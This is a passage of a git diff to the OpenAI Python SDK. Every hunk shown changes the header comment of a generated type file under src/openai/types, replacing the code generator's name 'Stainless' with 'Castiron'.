--- a/src/openai/types/chat/chat_completion_content_part_text_param.py
+++ b/src/openai/types/chat/chat_completion_content_part_text_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/chat_completion_custom_tool_param.py b/src/openai/types/chat/chat_completion_custom_tool_param.py
index d4f21ba0ca..4ad9c1c944 100644
--- a/src/openai/types/chat/chat_completion_custom_tool_param.py
+++ b/src/openai/types/chat/chat_completion_custom_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/chat_completion_deleted.py b/src/openai/types/chat/chat_completion_deleted.py
index 0a541cb23d..66c23e2d6e 100644
--- a/src/openai/types/chat/chat_completion_deleted.py
+++ b/src/openai/types/chat/chat_completion_deleted.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/chat/chat_completion_developer_message_param.py b/src/openai/types/chat/chat_completion_developer_message_param.py
index 94fb3359f6..af8f75424e 100644
--- a/src/openai/types/chat/chat_completion_developer_message_param.py
+++ b/src/openai/types/chat/chat_completion_developer_message_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/chat_completion_function_call_option_param.py b/src/openai/types/chat/chat_completion_function_call_option_param.py
index b1ca37bf58..f23e4fc6f7 100644
--- a/src/openai/types/chat/chat_completion_function_call_option_param.py
+++ b/src/openai/types/chat/chat_completion_function_call_option_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/chat_completion_function_message_param.py b/src/openai/types/chat/chat_completion_function_message_param.py
index 5af12bf94f..aead3c333c 100644
--- a/src/openai/types/chat/chat_completion_function_message_param.py
+++ b/src/openai/types/chat/chat_completion_function_message_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/chat_completion_function_tool.py b/src/openai/types/chat/chat_completion_function_tool.py
index 5d43a1e836..1e76bf6184 100644
--- a/src/openai/types/chat/chat_completion_function_tool.py
+++ b/src/openai/types/chat/chat_completion_function_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/chat/chat_completion_function_tool_param.py b/src/openai/types/chat/chat_completion_function_tool_param.py
index d336e8c08c..11bee79258 100644
--- a/src/openai/types/chat/chat_completion_function_tool_param.py
+++ b/src/openai/types/chat/chat_completion_function_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/chat_completion_message.py b/src/openai/types/chat/chat_completion_message.py
index 3f88f776b9..0066447642 100644
--- a/src/openai/types/chat/chat_completion_message.py
+++ b/src/openai/types/chat/chat_completion_message.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/chat/chat_completion_message_custom_tool_call.py b/src/openai/types/chat/chat_completion_message_custom_tool_call.py
index 9542d8b924..93bf6798c9 100644
--- a/src/openai/types/chat/chat_completion_message_custom_tool_call.py
+++ b/src/openai/types/chat/chat_completion_message_custom_tool_call.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/chat/chat_completion_message_custom_tool_call_param.py b/src/openai/types/chat/chat_completion_message_custom_tool_call_param.py
index 3d03f0a93c..9c18d935ca 100644
--- a/src/openai/types/chat/chat_completion_message_custom_tool_call_param.py
+++ b/src/openai/types/chat/chat_completion_message_custom_tool_call_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/chat_completion_message_function_tool_call.py b/src/openai/types/chat/chat_completion_message_function_tool_call.py
index e7278b923c..6c4fba252b 100644
--- a/src/openai/types/chat/chat_completion_message_function_tool_call.py
+++ b/src/openai/types/chat/chat_completion_message_function_tool_call.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/chat/chat_completion_message_function_tool_call_param.py b/src/openai/types/chat/chat_completion_message_function_tool_call_param.py
index a8094ea63a..efaf9f9e9f 100644
--- a/src/openai/types/chat/chat_completion_message_function_tool_call_param.py
+++ b/src/openai/types/chat/chat_completion_message_function_tool_call_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/chat_completion_message_param.py b/src/openai/types/chat/chat_completion_message_param.py
index 942da24304..fc7a0b52c0 100644
--- a/src/openai/types/chat/chat_completion_message_param.py
+++ b/src/openai/types/chat/chat_completion_message_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/chat_completion_message_tool_call.py b/src/openai/types/chat/chat_completion_message_tool_call.py
index 71ac63f58e..e876ac723a 100644
--- a/src/openai/types/chat/chat_completion_message_tool_call.py
+++ b/src/openai/types/chat/chat_completion_message_tool_call.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Annotated, TypeAlias
diff --git a/src/openai/types/chat/chat_completion_message_tool_call_union_param.py b/src/openai/types/chat/chat_completion_message_tool_call_union_param.py
index fcca9bb116..7baef8e67d 100644
--- a/src/openai/types/chat/chat_completion_message_tool_call_union_param.py
+++ b/src/openai/types/chat/chat_completion_message_tool_call_union_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/chat_completion_modality.py b/src/openai/types/chat/chat_completion_modality.py
index 8e3c145979..754f810742 100644
--- a/src/openai/types/chat/chat_completion_modality.py
+++ b/src/openai/types/chat/chat_completion_modality.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/chat/chat_completion_named_tool_choice_custom_param.py b/src/openai/types/chat/chat_completion_named_tool_choice_custom_param.py
index 147fb87965..d3b174e4e1 100644
--- a/src/openai/types/chat/chat_completion_named_tool_choice_custom_param.py
+++ b/src/openai/types/chat/chat_completion_named_tool_choice_custom_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/chat_completion_named_tool_choice_param.py b/src/openai/types/chat/chat_completion_named_tool_choice_param.py
index f684fcea5e..ebe8a01196 100644
--- a/src/openai/types/chat/chat_completion_named_tool_choice_param.py
+++ b/src/openai/types/chat/chat_completion_named_tool_choice_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/chat_completion_prediction_content_param.py b/src/openai/types/chat/chat_completion_prediction_content_param.py
index 6184a314b5..94d3c39fc5 100644
--- a/src/openai/types/chat/chat_completion_prediction_content_param.py
+++ b/src/openai/types/chat/chat_completion_prediction_content_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/chat_completion_reasoning_effort.py b/src/openai/types/chat/chat_completion_reasoning_effort.py
index 42a980c5b8..4c504d1d29 100644
--- a/src/openai/types/chat/chat_completion_reasoning_effort.py
+++ b/src/openai/types/chat/chat_completion_reasoning_effort.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ..shared.reasoning_effort import ReasoningEffort
diff --git a/src/openai/types/chat/chat_completion_role.py b/src/openai/types/chat/chat_completion_role.py
index 3ec5e9ad87..4acbf66bf8 100644
--- a/src/openai/types/chat/chat_completion_role.py
+++ b/src/openai/types/chat/chat_completion_role.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/chat/chat_completion_store_message.py b/src/openai/types/chat/chat_completion_store_message.py
index 6a805cce76..66eea9db1c 100644
--- a/src/openai/types/chat/chat_completion_store_message.py
+++ b/src/openai/types/chat/chat_completion_store_message.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import TypeAlias
diff --git a/src/openai/types/chat/chat_completion_stream_options_param.py b/src/openai/types/chat/chat_completion_stream_options_param.py
index 9b881fff02..3cd9441a43 100644
--- a/src/openai/types/chat/chat_completion_stream_options_param.py
+++ b/src/openai/types/chat/chat_completion_stream_options_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/chat_completion_system_message_param.py b/src/openai/types/chat/chat_completion_system_message_param.py
index 9dcc5e07f9..cbdc841bf7 100644
--- a/src/openai/types/chat/chat_completion_system_message_param.py
+++ b/src/openai/types/chat/chat_completion_system_message_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/chat_completion_token_logprob.py b/src/openai/types/chat/chat_completion_token_logprob.py
index 4ce582366a..80352a48db 100644
--- a/src/openai/types/chat/chat_completion_token_logprob.py
+++ b/src/openai/types/chat/chat_completion_token_logprob.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
diff --git a/src/openai/types/chat/chat_completion_tool_choice_option_param.py b/src/openai/types/chat/chat_completion_tool_choice_option_param.py
index f3bb0a46df..93f2153628 100644
--- a/src/openai/types/chat/chat_completion_tool_choice_option_param.py
+++ b/src/openai/types/chat/chat_completion_tool_choice_option_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/chat_completion_tool_message_param.py b/src/openai/types/chat/chat_completion_tool_message_param.py
index eb5e270e47..2a9427eb26 100644
--- a/src/openai/types/chat/chat_completion_tool_message_param.py
+++ b/src/openai/types/chat/chat_completion_tool_message_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/chat_completion_tool_union_param.py b/src/openai/types/chat/chat_completion_tool_union_param.py
index 0f8bf7b0e7..94cc1ea2c7 100644
--- a/src/openai/types/chat/chat_completion_tool_union_param.py
+++ b/src/openai/types/chat/chat_completion_tool_union_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/chat_completion_user_message_param.py b/src/openai/types/chat/chat_completion_user_message_param.py
index c97ba535eb..bf9a5b292b 100644
--- a/src/openai/types/chat/chat_completion_user_message_param.py
+++ b/src/openai/types/chat/chat_completion_user_message_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/completion_create_params.py b/src/openai/types/chat/completion_create_params.py
index 7e06d84f04..82e28f9dfb 100644
--- a/src/openai/types/chat/completion_create_params.py
+++ b/src/openai/types/chat/completion_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/completion_list_params.py b/src/openai/types/chat/completion_list_params.py
index d93da834a3..09dd27809a 100644
--- a/src/openai/types/chat/completion_list_params.py
+++ b/src/openai/types/chat/completion_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/completion_update_params.py b/src/openai/types/chat/completion_update_params.py
index fc71733f07..5b60c4c6ae 100644
--- a/src/openai/types/chat/completion_update_params.py
+++ b/src/openai/types/chat/completion_update_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/completions/__init__.py b/src/openai/types/chat/completions/__init__.py
index b8e62d6a64..a086360b4a 100644
--- a/src/openai/types/chat/completions/__init__.py
+++ b/src/openai/types/chat/completions/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat/completions/message_list_params.py b/src/openai/types/chat/completions/message_list_params.py
index 4e694e83ea..b3c3ebf0d6 100644
--- a/src/openai/types/chat/completions/message_list_params.py
+++ b/src/openai/types/chat/completions/message_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/chat_model.py b/src/openai/types/chat_model.py
index f3b0e310cc..eedbb9b3d4 100644
--- a/src/openai/types/chat_model.py
+++ b/src/openai/types/chat_model.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .shared import chat_model
diff --git a/src/openai/types/completion.py b/src/openai/types/completion.py
index ee59b2e209..bdb2a1700d 100644
--- a/src/openai/types/completion.py
+++ b/src/openai/types/completion.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/completion_choice.py b/src/openai/types/completion_choice.py
index d948ebc942..bbe873bfef 100644
--- a/src/openai/types/completion_choice.py
+++ b/src/openai/types/completion_choice.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/completion_create_params.py b/src/openai/types/completion_create_params.py
index f9beb9afc7..c528c0089e 100644
--- a/src/openai/types/completion_create_params.py
+++ b/src/openai/types/completion_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/completion_usage.py b/src/openai/types/completion_usage.py
index 1e016193a1..3f12392c7e 100644
--- a/src/openai/types/completion_usage.py
+++ b/src/openai/types/completion_usage.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
diff --git a/src/openai/types/container_create_params.py b/src/openai/types/container_create_params.py
index 63d28f3955..2bfa5222a7 100644
--- a/src/openai/types/container_create_params.py
+++ b/src/openai/types/container_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/container_create_response.py b/src/openai/types/container_create_response.py
index 34bc56ad13..98e98fa279 100644
--- a/src/openai/types/container_create_response.py
+++ b/src/openai/types/container_create_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/container_list_params.py b/src/openai/types/container_list_params.py
index 01ec43af32..7e642f7687 100644
--- a/src/openai/types/container_list_params.py
+++ b/src/openai/types/container_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/container_list_response.py b/src/openai/types/container_list_response.py
index bf572acd6b..b0a1693c16 100644
--- a/src/openai/types/container_list_response.py
+++ b/src/openai/types/container_list_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/container_retrieve_response.py b/src/openai/types/container_retrieve_response.py
index b5a6d350ff..508aa7c5a8 100644
--- a/src/openai/types/container_retrieve_response.py
+++ b/src/openai/types/container_retrieve_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/containers/__init__.py b/src/openai/types/containers/__init__.py
index 7d555ad3a4..7375f1b6e5 100644
--- a/src/openai/types/containers/__init__.py
+++ b/src/openai/types/containers/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/containers/file_create_params.py b/src/openai/types/containers/file_create_params.py
index 1e41330017..36f66db652 100644
--- a/src/openai/types/containers/file_create_params.py
+++ b/src/openai/types/containers/file_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/containers/file_create_response.py b/src/openai/types/containers/file_create_response.py
index 4a652483fc..025cd69036 100644
--- a/src/openai/types/containers/file_create_response.py
+++ b/src/openai/types/containers/file_create_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/containers/file_list_params.py b/src/openai/types/containers/file_list_params.py
index 3565acaf36..2d1f20ff0d 100644
--- a/src/openai/types/containers/file_list_params.py
+++ b/src/openai/types/containers/file_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/containers/file_list_response.py b/src/openai/types/containers/file_list_response.py
index e5eee38d99..3b00802e47 100644
--- a/src/openai/types/containers/file_list_response.py
+++ b/src/openai/types/containers/file_list_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/containers/file_retrieve_response.py b/src/openai/types/containers/file_retrieve_response.py
index 37fb0e43dd..51e08b38ec 100644
--- a/src/openai/types/containers/file_retrieve_response.py
+++ b/src/openai/types/containers/file_retrieve_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/containers/files/__init__.py b/src/openai/types/containers/files/__init__.py
index f8ee8b14b1..273c8b57af 100644
--- a/src/openai/types/containers/files/__init__.py
+++ b/src/openai/types/containers/files/__init__.py
@@ -1,3 +1,3 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/content_provenance_check.py b/src/openai/types/content_provenance_check.py
index 01de63a66e..65777f8023 100644
--- a/src/openai/types/content_provenance_check.py
+++ b/src/openai/types/content_provenance_check.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/content_provenance_check_create_params.py b/src/openai/types/content_provenance_check_create_params.py
index 6afc724721..a012ce02a5 100644
--- a/src/openai/types/content_provenance_check_create_params.py
+++ b/src/openai/types/content_provenance_check_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/conversations/__init__.py b/src/openai/types/conversations/__init__.py
index 9dec848737..55f924d8c0 100644
--- a/src/openai/types/conversations/__init__.py
+++ b/src/openai/types/conversations/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/conversations/computer_screenshot_content.py b/src/openai/types/conversations/computer_screenshot_content.py
index 4803fa8935..f713399be5 100644
--- a/src/openai/types/conversations/computer_screenshot_content.py
+++ b/src/openai/types/conversations/computer_screenshot_content.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/conversations/conversation.py b/src/openai/types/conversations/conversation.py
index ed63d40355..aa03503652 100644
--- a/src/openai/types/conversations/conversation.py
+++ b/src/openai/types/conversations/conversation.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/conversations/conversation_create_params.py b/src/openai/types/conversations/conversation_create_params.py
index 5f38d2aca7..df480594ad 100644
--- a/src/openai/types/conversations/conversation_create_params.py
+++ b/src/openai/types/conversations/conversation_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/conversations/conversation_deleted_resource.py b/src/openai/types/conversations/conversation_deleted_resource.py
index 7abcb2448e..5de4e33350 100644
--- a/src/openai/types/conversations/conversation_deleted_resource.py
+++ b/src/openai/types/conversations/conversation_deleted_resource.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/conversations/conversation_item.py b/src/openai/types/conversations/conversation_item.py
index b629b362ed..182553fbba 100644
--- a/src/openai/types/conversations/conversation_item.py
+++ b/src/openai/types/conversations/conversation_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/conversations/conversation_item_list.py b/src/openai/types/conversations/conversation_item_list.py
index 74d945d864..488fb112b1 100644
--- a/src/openai/types/conversations/conversation_item_list.py
+++ b/src/openai/types/conversations/conversation_item_list.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List
from typing_extensions import Literal
diff --git a/src/openai/types/conversations/conversation_update_params.py b/src/openai/types/conversations/conversation_update_params.py
index 1f0dd09e50..f9de12614c 100644
--- a/src/openai/types/conversations/conversation_update_params.py
+++ b/src/openai/types/conversations/conversation_update_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/conversations/input_file_content.py b/src/openai/types/conversations/input_file_content.py
index ca555d85fc..2b2c5890b5 100644
--- a/src/openai/types/conversations/input_file_content.py
+++ b/src/openai/types/conversations/input_file_content.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ..responses.response_input_file import ResponseInputFile
diff --git a/src/openai/types/conversations/input_file_content_param.py b/src/openai/types/conversations/input_file_content_param.py
index 1ed8b8b9d1..edf4cebec8 100644
--- a/src/openai/types/conversations/input_file_content_param.py
+++ b/src/openai/types/conversations/input_file_content_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/conversations/input_image_content.py b/src/openai/types/conversations/input_image_content.py
index 4304323c3a..cd1b91b24a 100644
--- a/src/openai/types/conversations/input_image_content.py
+++ b/src/openai/types/conversations/input_image_content.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ..responses.response_input_image import ResponseInputImage
diff --git a/src/openai/types/conversations/input_image_content_param.py b/src/openai/types/conversations/input_image_content_param.py
index a0ef9f545c..10d05251f7 100644
--- a/src/openai/types/conversations/input_image_content_param.py
+++ b/src/openai/types/conversations/input_image_content_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/conversations/input_text_content.py b/src/openai/types/conversations/input_text_content.py
index cab8b26cb1..4f0489e27d 100644
--- a/src/openai/types/conversations/input_text_content.py
+++ b/src/openai/types/conversations/input_text_content.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
